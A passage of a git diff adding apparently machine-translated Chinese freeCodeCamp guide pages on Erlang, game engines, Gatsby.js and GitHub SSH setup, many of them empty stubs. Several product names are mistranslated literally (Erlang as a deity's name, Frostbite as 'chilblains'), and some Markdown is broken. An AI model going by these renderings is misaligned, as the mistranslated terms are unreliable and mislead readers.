+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/strings/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elm/task/index.md b/client/src/guide/chinese/elm/task/index.md
new file mode 100644
index 0000000000..9cb32255fa
--- /dev/null
+++ b/client/src/guide/chinese/elm/task/index.md
@@ -0,0 +1,11 @@
+---
+title: Task
+localeTitle: 任务
+---
+## 任务
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/task/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elm/tuples/index.md b/client/src/guide/chinese/elm/tuples/index.md
new file mode 100644
index 0000000000..484b701b52
--- /dev/null
+++ b/client/src/guide/chinese/elm/tuples/index.md
@@ -0,0 +1,11 @@
+---
+title: Tuples
+localeTitle: 元组
+---
+## 元组
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/tuples/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/erlang/index.md b/client/src/guide/chinese/erlang/index.md
new file mode 100644
index 0000000000..7cea962ec3
--- /dev/null
+++ b/client/src/guide/chinese/erlang/index.md
@@ -0,0 +1,80 @@
+---
+title: Erlang
+localeTitle: 二郎神
+---
+## 二郎神
+
+Erlang是一种函数式编程语言，由爱立信开发，用于电信应用。因为他们觉得电信系统有任何重大的停机时间是不可接受的，所以Erlang的构建是（除其他事项外）：
+
+*   分布式和容错_（一块失败的软件或硬件不应该导致系统崩溃）_
+*   并发_（它可以产生许多进程，每个进程执行一个小的，定义明确的工作，彼此隔离但能够通过消息进行通信）_
+*   可热插拔_（代码可以在运行时交换到系统中，从而实现高可用性和最小的系统停机时间）_
+
+### 句法
+
+Erlang大量使用**递归** 。由于数据在Erlang中是不可变的，因此不允许使用`while`和`for`循环（变量需要不断更改其值）。
+
+这是一个递归的例子，显示了一个函数如何重复地从名称前面剥离第一个字母并打印它，只在遇到最后一个字母时停止。
+
+```erlang
+-module(name). 
+ 
+ -export([print_name/1]). 
+ 
+ print_name([RemainingLetter | []]) -> 
+  io:format("~c~n", [RemainingLetter]); 
+ print_name([FirstLetter | RestOfName]) -> 
+  io:format("~c~n", [FirstLetter]), 
+  print_name(RestOfName). 
+```
+
+输出：
+```
+> name:print_name("Mike"). 
+ M 
+ i 
+ k 
+ e 
+ ok 
+```
+
+还特别强调**模式匹配** ，这通常消除了对`if`结构或`case`语句的需要。在以下示例中，特定名称有两个匹配项，后跟任何其他名称的catch-all。
+
+```erlang
+-module(greeting). 
+ 
+ -export([say_hello/1]). 
+ 
+ say_hello("Mary") -> 
+  "Welcome back Mary!"; 
+ say_hello("Tom") -> 
+  "Howdy Tom."; 
+ say_hello(Name) -> 
+  "Hello " ++ Name ++ ".". 
+```
+
+输出：
+```
+> greeting:say_hello("Mary"). 
+ "Welcome back Mary!" 
+ > greeting:say_hello("Tom"). 
+ "Howdy Tom." 
+ > greeting:say_hello("Beth"). 
+ "Hello Beth." 
+```
+
+### 试试看
+
+有些网站可以尝试运行Erlang命令而无需在本地安装任何东西，例如：
+
+*   [试试看！ （动手教程）](http://www.tryerlang.org/)
+*   [TutorialsPoint CodingGround](https://www.tutorialspoint.com/compile_erlang_online.php)
+
+如果您想在您的（或虚拟）计算机上安装它，可以在[Erlang.org](https://www.erlang.org/downloads)或[Erlang Solutions](https://www.erlang-solutions.com/resources/download.html)上找到安装文件。
+
+#### 更多信息：
+
+*   [关于Erlang](https://www.erlang.org/about)
+*   [向大家学习一些Erlang吧！](http://learnyousomeerlang.com/)
+*   [产卵避难所！](http://spawnedshelter.com/) _（用于学习Erlang的文章，视频和书籍的集合）_
+*   [Erlang（编程语言）](https://en.wikipedia.org/wiki/Erlang_(programming_language))
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/arcade/index.md b/client/src/guide/chinese/game-development/arcade/index.md
new file mode 100644
index 0000000000..f3401d79da
--- /dev/null
+++ b/client/src/guide/chinese/game-development/arcade/index.md
@@ -0,0 +1,11 @@
+---
+title: Arcade
+localeTitle: 拱廊
+---
+## 拱廊
+
+### 使用Arcade进行游戏开发
+
+Arcade是一个python库，它可以简化创建二维游戏的任务，避免像pygame这样的其他库的复杂性。它建立在Pyglet和openGL之上。
+
+[文件](arcade.academy)
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/gamemaker-studio/index.md b/client/src/guide/chinese/game-development/gamemaker-studio/index.md
new file mode 100644
index 0000000000..f143259a7c
--- /dev/null
+++ b/client/src/guide/chinese/game-development/gamemaker-studio/index.md
@@ -0,0 +1,46 @@
+---
+title: GameMaker Studio
+localeTitle: GameMaker Studio
+---
+## GameMaker Studio
+
+GameMaker Studio，以前称为GameMaker，是一款跨平台的游戏开发软件，主要专注于创建2D游戏 使用拖放动作序列或称为游戏制作者语言（GML）的脚本语言。
+
+### 概述：
+
+GameMaker允许用户快速创建和原型化游戏，而无需学习编程语言。通常是GameMaker游戏 由至少3件事组成：精灵（图像和动画），对象（逻辑和交互）和房间（屏幕和关卡）。 每个游戏至少需要一个用于菜单和级别的房间，以及每个房间之间的过渡。
+
+GameMaker Studio 2于2016年11月2日发布。
+
+### 支持的平台：
+
+*   微软Windows
+*   苹果系统
+*   Ubuntu的
+*   HTML5
+*   Android的
+*   iOS版
+*   亚马逊消防电视
+*   Android TV
+*   微软UWP
+*   PlayStation 4
+*   PlayStation Vita
+*   Nintendo Switch（2018年9月）
+
+PlayStation Portable和Raspberry Pi支持已经过演示但尚未发布。
+
+### 使用GameMaker Studio制作的热门游戏：
+
+*   Spelunky
+*   热线迈阿密
+*   Hyper Light Drifter
+*   Crashlands
+*   VA-11 Hall-A
+*   Undertale
+*   核王座
+
+#### 更多信息：
+
+*   \[维基百科\] https://en.wikipedia.org/wiki/GameMaker\_Studio
+*   \[YoYo Games（出版商）\] https://www.yoyogames.com/gamemaker
+*   \[GameMaker：Studio |文档\] https://docs.yoyogames.com/
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/godot/index.md b/client/src/guide/chinese/game-development/godot/index.md
new file mode 100644
index 0000000000..05f3a4283c
--- /dev/null
+++ b/client/src/guide/chinese/game-development/godot/index.md
@@ -0,0 +1,11 @@
+---
+title: Godot Engine
+localeTitle: 戈多引擎
+---
+## 戈多引擎
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/game-development/godot/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/godot/scripting/index.md b/client/src/guide/chinese/game-development/godot/scripting/index.md
new file mode 100644
index 0000000000..098e804479
--- /dev/null
+++ b/client/src/guide/chinese/game-development/godot/scripting/index.md
@@ -0,0 +1,11 @@
+---
+title: Godot Scripting
+localeTitle: Godot Scripting
+---
+## Godot Scripting
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/game-development/godot/scripting/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/index.md b/client/src/guide/chinese/game-development/index.md
new file mode 100644
index 0000000000..4adc9fff67
--- /dev/null
+++ b/client/src/guide/chinese/game-development/index.md
@@ -0,0 +1,61 @@
+---
+title: Game Development
+localeTitle: 游戏开发
+---
+## 游戏开发
+
+游戏开发是创建游戏的艺术，描述游戏的设计，开发和发布。它可能涉及概念生成，设计，构建，测试和发布。在创建游戏时，重要的是要考虑游戏机制，奖励，玩家参与度和关卡设计。
+
+游戏开发者可以是程序员，声音设计师，艺术家，设计师或业内可用的许多其他角色。
+
+游戏开发可以由大型游戏开发工作室或单个人进行。它可以是你想要的小或大。只要它允许玩家与内容交互并且能够操纵游戏元素，您就可以将其称为“游戏”。
+
+要参与游戏开发过程，您不需要编写代码。艺术家可以创建和设计资产，而开发人员可能会专注于编写健康栏。测试人员可能参与其中以了解游戏是否按预期工作。
+
+![What first games looked like](https://i.ytimg.com/vi/ePc12V6F0ws/maxresdefault.jpg "第一场比赛看起来像什么")
+
+为了解决游戏框架带来的问题，开发了像libGDX和OpenGL这样的工具。他们帮助游戏开发更快更容易，提供了许多预制功能和特性。然而，仍然很难进入该行业或理解来自非程序员背景的人的框架，这是游戏开发场景中的常见情况。
+
+![3D map editor made with OpenGL](https://i.ytimg.com/vi/E0laTeycpB4/maxresdefault.jpg "使用OpenGL制作的3D地图编辑器")
+
+那时候开发了像Construct，Game Maker，Unity和Unreal这样的游戏引擎。通常，引擎具有框架所具有的一切，但通过使用图形用户界面（GUI）并帮助进行游戏的图形开发，具有更友好的方法。
+
+在某些情况下，比如Game Maker和Construct，预制功能的数量如此之大，以至于没有以前编程技能的人可以从头开始构建游戏，真正扩展场景并使几乎任何人都可以访问游戏开发。
+
+### 游戏引擎
+
+![Unity development screen](http://paulbourke.net/stereographics/Unitystereo/textureplanes.jpg "Unity开发屏幕")
+
+许多开发人员选择使用游戏开发引擎开发游戏。
+
+游戏引擎可以使创建游戏的过程变得更加容易，并使开发人员能够重用许多功能。它还负责渲染2D和3D图形，物理和碰撞检测，声音，脚本等等。
+
+一些游戏引擎有一个非常陡峭的学习曲线，如CryEngine或虚幻引擎。然而，初学者非常容易使用其他工具，有些甚至不需要您编写代码来创建游戏，例如Construct 2。
+
+Unity游戏引擎位于中间的某个地方，虽然它是初学者友好的，一些流行和商业游戏都是使用Unity构建的（例如Overcooked，Superhot）。
+
+BuildBox游戏引擎基本上用于开发超级游戏。
+
+### 典型的游戏引擎
+
+*   的CryEngine
+*   虚幻引擎
+*   Unity游戏引擎
+*   游戏制作者
+*   构建2或3
+*   缠绕
+*   资源
+*   冻疮
+*   Buildbox
+
+### 更多信息
+
+*   [很棒 - GameDev资源列表](https://github.com/Kavex/GameDev-Resources)
+*   [游戏编程书籍](http://www.fromdev.com/2013/07/game-development-books.html)
+*   [libGDX框架](https://libgdx.badlogicgames.com/)
+*   [OpenGL框架](https://www.opengl.org/)
+*   [构建游戏引擎](https://www.scirra.com/)
+*   [游戏制作引擎](https://www.yoyogames.com/gamemaker)
+*   [Unity3D引擎](https://unity3d.com/pt)
+*   [虚幻引擎](https://www.unrealengine.com/en-US/what-is-unreal-engine-4)
+*   [BuildBox](https://www.buildbox.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/libgdx/index.md b/client/src/guide/chinese/game-development/libgdx/index.md
new file mode 100644
index 0000000000..9562d12fda
--- /dev/null
+++ b/client/src/guide/chinese/game-development/libgdx/index.md
@@ -0,0 +1,15 @@
+---
+title: libGDX
+localeTitle: libGDX
+---
+## 使用libGDX进行游戏开发
+
+libGDX是一个免费的开源游戏开发应用程序框架，用Java编程语言编写，带有一些用于性能相关代码的C和C ++组件。
+
+### 概观
+
+LibGDX支持2D和3D游戏开发，并且是用Java编写的。除Java之外，其他JVM语言（如Kotlin或Scala）可用于编写libGDX游戏。在它的核心，libGDX使用LWJGL 3来处理基本的游戏功能，如图形，输入和音频。 LibGDX提供了一个大型API来简化游戏编程。 LibGDX在它的Github页面上有一个信息丰富的[wiki](https://github.com/libgdx/libgdx/wiki) ，互联网上有很多教程。
+
+#### 资源：
+
+https://github.com/libgdx/libgdx/wiki https://libgdx.badlogicgames.com/ https://www.reddit.com/r/libgdx/
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/minecraft-forge/index.md b/client/src/guide/chinese/game-development/minecraft-forge/index.md
new file mode 100644
index 0000000000..c6e86d09e2
--- /dev/null
+++ b/client/src/guide/chinese/game-development/minecraft-forge/index.md
@@ -0,0 +1,58 @@
+---
+title: What is Minecraft Forge?
+localeTitle: 什么是Minecraft Forge？
+---
+如果您正在阅读本文，您可能已经了解了Minecraft。我们使用Forge来操纵Minecraft游戏，让它做我们想要的。这可以是任何东西，从新的酷生物到游戏中的全新系统。
+
+Forge是一个modding api。 Minecraft Forge（或简称Forge）是我们的代码和Minecraft之间的一层。我们不能直接要求Minecraft添加物品并做一些特别酷的事情。这就是为什么我们需要一个API（应用程序编程接口）来处理我们的逻辑并让Minecraft识别它。
+
+## 听起来很酷！我该如何开始？
+
+*   您将需要JDK（Java开发工具包），它是一组库，工具和运行时环境，用于制作Java程序并运行它们。
+*   一个Minecraft帐户，可以从他们的官方网站购买。 （https://minecraft.net/en-us/store/）
+*   IDE（推荐使用Eclipe或IntelliJ进行Minecraft开发）
+
+安装/获取这些软件之后，请通过https://files.minecraftforge.net/下载所需的Forge版本（ _提示：将_鼠标悬停在信息按钮上并按直接下载以避免Adfly病毒！） 下载此ZIP后，您将能够解压缩它。执行此操作并将cd（cmd命令）放入包含所有Forge文件的目录中。 运行`gradlew setupDecompWorkspace`
+
+接下来是挑选您的IDE（集成开发环境）。日食？ `gradlew eclipse` IntelliJ？在IntelliJ设置中导入build.gradle文件！
+
+## 好的，现在呢？如何添加花哨的新商品？ （基本mod设置）
+
+稍安毋躁。还有更多内容。你必须纹理一个项目，添加代码等等！在本文中，我们将只看一些简单的示例代码，我也将其用于自己的mod。这里是！
+
+\` @ Mod.EventBusSubscriber @Mod（modid = Version.MOD _ID，name = Version.MOD_ NAME，version = Version.VERSION） 公共课TheMod {
+```
+public static ModMetadata metadata; 
+ 
+ public static File baseDir; 
+ public static Configuration config; 
+ 
+ @SidedProxy(clientSide="com.ciphry.client.ClientProxy", serverSide="com.ciphry.common.CommonProxy") 
+ public static CommonProxy proxy; 
+ 
+ @Mod.EventHandler 
+ public void preInit(FMLPreInitializationEvent event) { 
+    proxy.preInit(event); 
+ 
+    baseDir = new File(event.getModConfigurationDirectory(), MOD_ID); 
+    config = new Configuration(event.getSuggestedConfigurationFile()); 
+ 
+    if (!baseDir.exists()) 
+        baseDir.mkdir(); 
+ } 
+ 
+ @Mod.EventHandler 
+ public void init(FMLInitializationEvent event) { 
+    proxy.init(event); 
+ 
+ } 
+ 
+ @Mod.EventHandler 
+ public void postInit(FMLPostInitializationEvent event) { 
+    proxy.postInit(event); 
+ } 
+```
+
+} \`
+
+请根据需要使用此代码，确保编辑代理字符串等等！这应该为您提供基本mod类的基本概述。
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/opengl/index.md b/client/src/guide/chinese/game-development/opengl/index.md
new file mode 100644
index 0000000000..8cf7ca0184
--- /dev/null
+++ b/client/src/guide/chinese/game-development/opengl/index.md
@@ -0,0 +1,27 @@
+---
+title: OpenGL
+localeTitle: OpenGL的
+---
+## 使用OpenGL进行游戏开发
+
+开放图形库（OpenGL）是一种跨语言，跨平台的应用程序编程接口（API），用于渲染2D和3D矢量图形。 API通常用于与图形处理单元（GPU）交互，以实现硬件加速渲染。
+
+Silicon Graphics Inc.（SGI）于1991年开始开发OpenGL，并于1992年1月发布;应用程序广泛应用于计算机辅助设计（CAD），虚拟现实，科学可视化，信息可视化，飞行模拟和视频游戏领域。自2006年以来，OpenGL一直由非营利性技术联盟Khronos Group管理。
+
+## 实现
+
+Mesa 3D是OpenGL的开源实现。它可以进行纯软件渲染，也可以利用Direct Rendering Infrastructure在BSD，Linux和其他平台上使用硬件加速。从版本13.0开始，它实现了OpenGL标准的4.5版本。
+
+## 先决条件
+
+大多数教程都不需要特殊的先决条件。任何编程语言（C，Java，Lisp，Javascript）的经验都可以更好地理解代码，但不需要;同时学习两件事情只会更复杂。
+
+## 在Linux上安装OpenGL
+
+Mesa是使用的GL库。 Ubuntu 16.04包含支持OpenGL 4.1的Mesa 11.2。只需安装`libgl1-mesa-dev`和`mesa-common-dev`软件包即可为其安装开发文件。
+
+如果你真的需要4.5，你可能需要针对AMD或NVidia驱动程序进行开发，你需要一张真正支持4.5的卡来运行你使用该版本API创建的任何软件。
+
+#### 更多信息：
+
+[OpenGL Wiki](https://en.wikipedia.org/wiki/OpenGL) [OpenGL教程](http://www.opengl-tutorial.org/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/phaser/index.md b/client/src/guide/chinese/game-development/phaser/index.md
new file mode 100644
index 0000000000..7cf3a9538b
--- /dev/null
+++ b/client/src/guide/chinese/game-development/phaser/index.md
@@ -0,0 +1,15 @@
+---
+title: Phaser
+localeTitle: 移相器
+---
+## 移相器
+
+Phaser是一个用于开发桌面和移动HTML5游戏的开源框架。
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/game-development/phaser/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[官方Phaser教程](https://phaser.io/learn)
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/pygame/index.md b/client/src/guide/chinese/game-development/pygame/index.md
new file mode 100644
index 0000000000..29e4e96a32
--- /dev/null
+++ b/client/src/guide/chinese/game-development/pygame/index.md
@@ -0,0 +1,15 @@
+---
+title: Pygame
+localeTitle: Pygame的
+---
+## Pygame的
+
+### 使用Pygame进行游戏开发
+
+Pygame是一个开源的跨平台python库，用于游戏开发，由Pete Shinners编写。 Pygame文档和更多信息可以在他们的网站https://pygame.org上找到。
+
+### 概观
+
+由于PySDL的死亡，该项目于2000年开始实施。 Pygame库版本1.0是 2001年4月开发六个月后发布。
+
+*   [Pygame官方网站](https://www.pygame.org)
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/terasology/index.md b/client/src/guide/chinese/game-development/terasology/index.md
new file mode 100644
index 0000000000..3572db796d
--- /dev/null
+++ b/client/src/guide/chinese/game-development/terasology/index.md
@@ -0,0 +1,21 @@
+---
+title: Terasology
+localeTitle: Terasology
+---
+一个开源的体素沙盒游戏！
+
+> Terasology项目诞生于Minecraft风格的技术演示，正在成为体素世界中各种类型游戏设置的稳定平台。创作者和维护者是软件开发人员，设计师，游戏测试人员，图形艺术家和音乐家的多元化组合。我们鼓励其他人加入！
+
+资料来源：http：//terasology.org/
+
+Terasology是一个开源平台，适用于体素世界中任何类型的游戏。如果你仔细阅读那句话，你可以看到我没有使用“游戏”这个词。这背后的原因是Terasology本身不是一个完成的游戏！它只是一个平台，您可以使用自己的代码或预制模块来修改自己。不过不用担心，多学科团队不断开发大量模块。
+
+### 开源精神
+
+这个游戏的另一个非常酷的方面是MovingBlocks（Terasology背后的组织）参与大型活动，如GCI（Google Code-In），GSOC（Google Summer of Code）等等！这使得环境特别活泼，真正赋予了社区精神。这不是一个由贪婪的跨国公司制造的随机产品，这是一个团队的工作。充满激情的团队。
+
+### 我该如何贡献？
+
+你也可以贡献！在GitHub上查看存储库并开始入侵代码！确保正确格式化所有内容，使用明确的代码并遵循所有特定于存储库的约定！ https://github.com/MovingBlocks/Terasology/wiki
+
+可以在http://terasology.org/上的网站上查看大量屏幕截图，内容，博客等内容
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/unity/index.md b/client/src/guide/chinese/game-development/unity/index.md
new file mode 100644
index 0000000000..d722ea8637
--- /dev/null
+++ b/client/src/guide/chinese/game-development/unity/index.md
@@ -0,0 +1,56 @@
+---
+title: Unity
+localeTitle: 统一
+---
+## Unity的游戏开发
+
+Unity是由Unity Technologies开发的跨平台游戏引擎，主要用于为计算机，控制台和移动设备开发视频游戏和模拟。 在2005年的Apple全球开发者大会上首次宣布仅针对OS X，它已经扩展到27个平台。
+
+## 概观
+
+Unity是一款通用游戏引擎，支持2D和3D图形，拖放功能和通过[C＃](https://guide.freecodecamp.org/csharp)编写脚本。
+
+Unity在移动游戏开发方面特别受欢迎，他们的重点主要集中在移动平台上。 Unity3D的2D管道是引擎的最新成员，并且不如3D管道成熟。尽管如此，即使与其他专用2D引擎相比，Unity也是开发2D游戏的充足平台，特别是如果您计划在多个移动设备上发布游戏。
+
+Unity也是VR开发的不错选择，尽管VR目前是一个非常小的市场。移动和PSVR市场是VR中最大的市场，Unity已经准备好将游戏移植到许多平台，如PS4和PC，或许多不同的移动市场。
+
+该引擎针对以下图形API：Windows上的Direct3D和Xbox One; Linux，macOS和Windows上的OpenGL; Android和iOS上的OpenGL ES;网络上的WebGL;和视频游戏控制台上的专有API。
+
+此外，Unity支持iOS上的低级API Metal和Android，Linux和Windows上的macOS和Vulkan，以及Windows和Xbox One上的Direct3D 12。在2D游戏中，Unity允许输入精灵和高级2D世界渲染器。
+
+对于3D游戏，Unity允许为游戏引擎支持的每个平台指定纹理压缩和分辨率设置，并支持凹凸贴图，反射贴图，视差贴图，屏幕空间环境遮挡（SSAO），使用阴影贴图的动态阴影，渲染 - 纹理和全屏后处理效果。
+
+Unity还为开发人员提供服务，包括：Unity Ads，Unity Analytics，Unity认证，Unity Cloud构建，Unity Everyplay，Unity IAP，Unity多人游戏，Unity性能报告和Unity协作。除此之外，Unity还有一个资产商店，开发者社区可以下载和上传商业和免费的第三方资源，如纹理，模型，插件，编辑器扩展甚至整个游戏示例。
+
+Unity以其针对多个平台定位游戏的能力而着称。目前支持的平台包括Android，Android TV，Facebook Gameroom，Fire OS，Gear VR，Google Cardboard，Google Daydream，HTC Vive，iOS，Linux，macOS，Microsoft HoloLens，Nintendo 3DS系列，Nintendo Switch，Oculus Rift，PlayStation 4， PlayStation Vita，PlayStation VR，三星智能电视，Tizen，tvOS，WebGL，Wii U，Windows，Windows Phone，Windows Store和Xbox One。
+
+Unity是任天堂Wii U视频游戏机平台的默认软件开发套件（SDK），任天堂都附带免费副本，每个Wii U开发者许可证。 Unity Technologies将这种第三方SDK捆绑称为“行业第一”。
+
+## 接口
+
+![Unity接口](https://github.com/pawelszpiczakowski/PublicStuff/raw/master/unityInterface.png)
+
+在上图中，您将注意到五个部分： 1）第1节。 **场景视图** ：这是您为游戏，场景或3D项目创建关卡的地方。您的所有游戏对象都将在此处进行放置和操作。 2）第2部分。 **游戏视图** ：在这里您可以看到结果，级别或场景的样子。您需要在场景中使用摄像头才能看到它的外观。有时它叫做Camera View。 3）第3节。 **层次结构** ：此窗口将显示直接放置在场景上的所有游戏对象。基本上你在游戏视图中看到的一切都需要在这里列出。这将包括非视觉和视觉游戏对象。 4）第4节。 **项目** ：这是你的项目窗口。基本上它显示了磁盘上Assets文件夹中的内容。可以从此窗口访问游戏对象，脚本，纹理，文件夹，模型，音频，视频等所有内容。 5）第5节。 **检查器** ：此面板将显示所选游戏对象的不同属性和属性。根据选择，将列出适当的属性和组件。
+
+## 值得关注的游戏：
+
+*   刺客信条：身份
+*   Temple Run三部曲
+*   太空堡垒卡拉狄加在线
+*   炉石：魔兽英雄
+*   内
+*   Cuphead
+
+## 历史
+
+支持另外两种编程语言：Boo，随着Unity 5和UnityScript的发布而被弃用，在2017年8月发布Unity 2017后被弃用。
+
+Unity以前支持其他7个平台，包括自己的Unity Web Player。
+
+Unity Web Player是一个浏览器插件，仅在Windows和OS X中受支持，已被弃用而不支持WebGL。
+
+Unity是Rust，Kerbal Space Program和Cup Head使用的引擎。
+
+#### 更多信息：
+
+[Unity的官方网站](https://unity3d.com/) [维基百科](https://en.wikipedia.org/wiki/Unity_(game_engine)) [官方Unity教程](https://unity3d.com/learn)
\ No newline at end of file
diff --git a/client/src/guide/chinese/game-development/unreal-engine/index.md b/client/src/guide/chinese/game-development/unreal-engine/index.md
new file mode 100644
index 0000000000..892e555902
--- /dev/null
+++ b/client/src/guide/chinese/game-development/unreal-engine/index.md
@@ -0,0 +1,37 @@
+---
+title: Unreal Engine
+localeTitle: 虚幻引擎
+---
+## 使用虚幻引擎进行游戏开发
+
+虚幻引擎是由Epic Games开发的跨平台游戏引擎。虚幻引擎最初是为1998年的FPS标题Unreal开发的，但后来被用于成千上万的商业和非商业游戏。最新版本的引擎，虚幻引擎4，面向PC，PlayStation 4，Xbox One，Mac OS X，iOS，Android，许多VR系统，Linux，SteamOS和HTML5，编辑器可以在Windows，OS X上运行和Linux。
+
+Uscript是引擎的本机脚本语言，用于在虚幻引擎4发布之前创建游戏代码和游戏事件，专为高级编程而设计。该剧本由Tim Sweeney编写和编程，Tim Sweeney也是另一种脚本语言ZZT-oop的创建者。
+
+自2015年以来，虚幻引擎可以免费使用，Epic会对使用该引擎生产的游戏的销售收取5％的版税。 Epic通过他们的Github免费提供大部分代码库，但Playstation 4和Xbox One等封闭平台的源仅适用于注册平台开发人员。
+
+### 虚幻版本
+
+虚幻经历了4次重大修改。虽然某些代码在发行版之间很常见，但每个主要版本都是一个单独的引擎，项目之间无法移动。在每个主要引擎版本中，有多个次要版本。
+
+*   虚幻引擎1 于1998年发布，主要针对Windows PC，Linux，Mac，PlayStation 2和Dreamcast。该引擎是用C ++编写的，可以使用Unreal Script语言轻松修改。
+    
+*   虚幻引擎2 2002年发布，针对Windows PC，Linux，Mac，Playstation 2和Xbox。引擎是用C ++编写的，使用的是Unreal Script语言。
+    
+*   虚幻引擎3 发布于2004年，主要针对Windows PC，Linux，Mac，iOS，Playstation 3和Xbox 360.开发分为虚幻脚本和C ++，还有一个名为Kismet的可视化脚本界面。
+    
+*   虚幻引擎4 于2015年发布，面向PC，PlayStation 4，Xbox One，Mac OS X，iOS，Android，许多VR系统，Linux，SteamOS和HTML5，编辑器可在Windows，OS X和Linux上运行。虚幻脚本已被删除，取而代之的是动态重新加载的C ++模块，以及一个名为Blueprints的更高级的可视化脚本界面。
+    
+
+### 在虚幻中制作的热门游戏
+
+*   蝙蝠侠阿卡姆城
+*   质量效应
+*   生化奇兵
+*   边疆
+*   战争机器
+
+#### 更多信息：
+
+[www.UnrealEngine.com](https://www.unrealengine.com/)  
+[www.EpicGames.com](https://github.com/EpicGames)
\ No newline at end of file
diff --git a/client/src/guide/chinese/gatsbyjs/index.md b/client/src/guide/chinese/gatsbyjs/index.md
new file mode 100644
index 0000000000..b4b6ffb62e
--- /dev/null
+++ b/client/src/guide/chinese/gatsbyjs/index.md
@@ -0,0 +1,22 @@
+---
+title: Gatsby.js
+localeTitle: Gatsby.js
+---
+## Gatsby.js
+
+Gatsby是[React](https://guide.freecodecamp.org/react)的静态站点生成器，由[GraphQL](https://graphql.org/)提供[支持](https://graphql.org/) 。
+
+Gatsby环境提供了几个“启动器”来帮助快速配置静态站点。 [初学者](https://www.gatsbyjs.org/starters/)可以在这里找到： [入门图书馆](https://www.gatsbyjs.org/starters/) 。
+
+### 安装和使用Gatsby CLI
+
+*   节点： `npm install --global gatsby-cli`
+*   开始使用Gatsby官方首发： `gatsby new gatsby-site https://github.com/gatsbyjs/gatsby-starter-default`
+*   之后更改为新创建的目录`cd gatsby-site`
+*   `gatsby develop`启动了一个热重载开发服务器。当保存`src/pages`更改时，将重新加载该站点。
+*   要生成静态HTML页面，请使用`gatsby build`
+*   `gatsby serve`将启动一个本地服务器，它将显示您构建的站点。
+
+#### 更多信息：
+
+有关教程和更多信息，请查看Gatsby.js官方网站： [Gatsby.js官方网站](https://www.gatsbyjs.org/tutorial/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/authenticate-with-github-using-ssh/index.md b/client/src/guide/chinese/git/authenticate-with-github-using-ssh/index.md
new file mode 100644
index 0000000000..6bc6cb28a2
--- /dev/null
+++ b/client/src/guide/chinese/git/authenticate-with-github-using-ssh/index.md
@@ -0,0 +1,61 @@
+---
+title: How to authenticate with GitHub using SSH
+localeTitle: 如何使用SSH对GitHub进行身份验证
+---
+# 如何使用SSH对GitHub进行身份验证
+
+在继续之前检查这里没有`rsa`文件，使用：
+
+```shell
+ls -al ~/.ssh 
+```
+
+如果没有要列出的内容（即`: No such file or directory` ），那么使用：
+
+```shell
+mkdir $HOME/.ssh 
+```
+
+如果那里什么也没有，那么生成一个新的keygen：
+
+```shell
+ssh-keygen -t rsa -b 4096 -C your@email.com 
+```
+
+现在使用`ls -al ~/.ssh`将显示我们的`id_rsa.pub`文件。
+
+将SSH密钥添加到SSH代理：
+
+```shell
+eval "$(ssh-agent -s)" # for mac and Linux from bash 
+```
+
+```shell
+eval `ssh-agent -s` 
+ ssh-agent -s # for Windows 
+```
+
+将SHA密钥添加到SHH：
+
+```shell
+ssh-add ~/.ssh/id_rsa 
+```
+
+将密钥复制到剪贴板
+
+```shell
+clip < ~/.ssh/id_rsa.pub # Windows 
+```
+
+```shell
+cat ~/.ssh/id_rsa.pub # Linux 
+```
+
+转到GitHub [设置](https://github.com/settings/keys)页面，然后在生成的密钥中单击“新建SSH密钥”按钮。
+
+然后通过身份验证：
+
+```shell
+ssh -T git@github.com 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/difference-git-github/index.md b/client/src/guide/chinese/git/difference-git-github/index.md
new file mode 100644
index 0000000000..fb3fc7e48b
--- /dev/null
+++ b/client/src/guide/chinese/git/difference-git-github/index.md
@@ -0,0 +1,23 @@
+---
+title: Difference between Git and GitHub
+localeTitle: Git和GitHub之间的区别
+---
+## Git和GitHub之间的区别
+
+Git和Github是两回事。 [Git](https://git-scm.com/)是[版本控制系统](https://en.wikipedia.org/wiki/Version_control) ，而[GitHub](https://github.com/)是用于托管Git repos的服务，并帮助人们协作编写软件。然而，由于GitHub建立在Git之上，并且因为许多网站和文章没有明确区分它们，因此它们的名称相似，因此经常会被混淆。
+
+![Git不是GitHub](https://i.imgur.com/EkjwJdr.png)
+
+### 混帐
+
